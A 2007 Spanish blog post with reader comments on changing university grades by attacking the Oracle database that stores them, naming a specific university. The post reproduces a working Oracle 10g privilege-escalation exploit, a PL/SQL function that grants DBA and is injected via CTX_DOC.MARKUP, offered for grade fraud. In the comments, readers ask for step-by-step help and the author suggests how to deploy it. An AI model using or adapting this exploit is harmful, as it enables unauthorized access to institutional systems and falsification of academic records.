Cambiando las notas de la universidad.
- Publicado por: druidacelta
- October 26th, 2007
Imaginemos que estamos estudiando en una universidad como la de Alcalá de Henares /uah.es y que somos estudiantes de una carrera (esto está claro sinó no seriamos universitarios) que llevamos más o menos, pero que siempre tenemos alguna asignatura que se nos atasca y no la damos sacado.
Que pasaria si se pudiera cambiar esa nota, eso que tanto hemos visto en pelÃculas y que tan bonito nos parece, de la noche a la mañana tener una carrera y ser licenciados (o diplomados que más da :-P )
Pues bien, hoy en dia todo se maneja con ordenadores, si tu cambias la información de una persona en un ordenador, crees que alguien se enteraria? y si ya eres un paranoico y las cambias justo el dia que salen? Crees que alguien se pararia a ver si en verdad esa persona tiene la nota que le puso su profesor. Estamos hablando de 1 alumno entre miles y 1 profesor entre cientos ;-)
Pues bien solo pretendo deciros que sà se puede hacer, que es posible sacarse una carrera y que el unico requisito ahoramismo es que esa nota esté en una base de datos manejada en oracle (justo como ocurre con la uah) y bueno tambien que seamos universitarios o conozcamos el usuario de alguien ( facil de conocer)
El caso, aquà un pequeño fallo que aprovechamos y con nuestro usuario normal nos damos permisos de dba y ala a cambiar notas :-)
select * from user_role_privs;
CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘grant dba to scott’;
COMMIT;
RETURN ”;
END;
/
set serveroutput on
create table mark_tab (id number primary key, text varchar2(80) );
insert into mark_tab values (’1′, ‘All your bases are belong to US’);
create index mark_tab_idx on mark_tab(text)
indextype is ctxsys.context parameters
(’filter ctxsys.null_filter’);
SET SERVEROUTPUT ON;
DECLARE
mklob CLOB;
amt NUMBER := 40;
line VARCHAR2(80);
BEGIN
CTX_DOC.MARKUP(’mark_tab_idx’,'1′,”||scott.HACKIT()||”, mklob);
DBMS_LOB.READ(mklob, amt, 1, line);
DBMS_OUTPUT.PUT_LINE(’QWRvcmUuVS5NeS5TdGFy’||line);
DBMS_LOB.FREETEMPORARY(mklob);
END;
/
select * from user_role_privs;
Se vió que funciona con oracle 10.1.0.2.0 y fue escrito por Alexandr “Sh2kerr” Polyakov
Para quien no conozca 
October 31st, 2007 at 6:07 pm
1) ¿Me estás vacilando?
2) No sé de que me extraño, el servicio de informática de la Universidad de 0viedo es un cachondeo.
November 1st, 2007 at 11:08 am
ponzonha, para nada te vacilo :) fallos de seguridad en gestores de bases de datos pueden sacarte de más de un apuro, y si son fallos recientes como este (oracle ultima version) aun te sirven para más
yo no conozco como funciona la universidad de oviedo, igual trabaja con informix, pero los que funcionan con oracle ….
Gracias por el comentario.
December 12th, 2007 at 7:01 am
¿ eso funciona en serio ? si es asà dime como lo puedo hacer…. dónde y cómo pongo el código fuente ese que has puesto ahà ? ¿ me tengo primero que conectar con mi uusario ? ¿ desde un ordenador de la facultad o desde mi casa ?
December 12th, 2007 at 9:50 am
niguri, el problema no es hacerlo sino la implicación moral que supone :)
December 12th, 2007 at 10:34 am
yo no veo ninguna implicación moral en este tema… cuando llevas unos cuantos años estudiando y ves que no acabas, la moral desaparece…. me gustarÃa saber cómo se hace
December 13th, 2007 at 7:08 am
la implicacion moral se la veo yo :) por eso no puedo decir más, con ese codigo tienes ya mucho echo :)
December 13th, 2007 at 7:25 am
ya que has colgado el código en cuestión, podrÃas dar una pista de como hacer uso de él
December 13th, 2007 at 10:07 am
pues asi de golpe se me ocurre que tu usuario esté dado de alta en la base de datos de la universidad, puedas hacer una web que realize una consulta contra la base de datos y meter por el medio el codigo :) una vez tengas permisos de dba solo tendras que buscarte y ver que notas enlaza.
ya te digo, asi de golpe se me ocurre eso, lo mejor seria formar parte de un laboratorio para poder urgar mejor :) y enterarse de como funciona el invento.
May 16th, 2008 at 8:52 am
hey compa, si eso es verdad, podrias acceder a mi U y cambiar la nota de una materia para una serie de copañeros, q nos queremos vengar de un profe maldito
December 1st, 2008 at 8:47 pm
Hola.
Me interesa obtener ese programa o esa forma exquisita de poder cambiar una nota universitaria.
Que bueno es.
Hey, druidacelta, quisiera que me contactaras, para que me explicaras en detalle como tendria que hacer para poder acceder a la base de datos de mi universidad y cambiar una nota que me ha estado preocupando este fin de semestre.
O cualquera que desee ayudarme dandome en detalle los pasos y la forma de cambiar una nota de mi universidad.
Por ejemplo, NIGURI, comunicate conmigo, porfa, te lo agradezco, ya que estas con el mismo proposito.
Te lo agradeceria enormemente, please.
Mi correo es elsiervovigilante@ymail.com.
Por favor comunicate conmigo.
Gracias.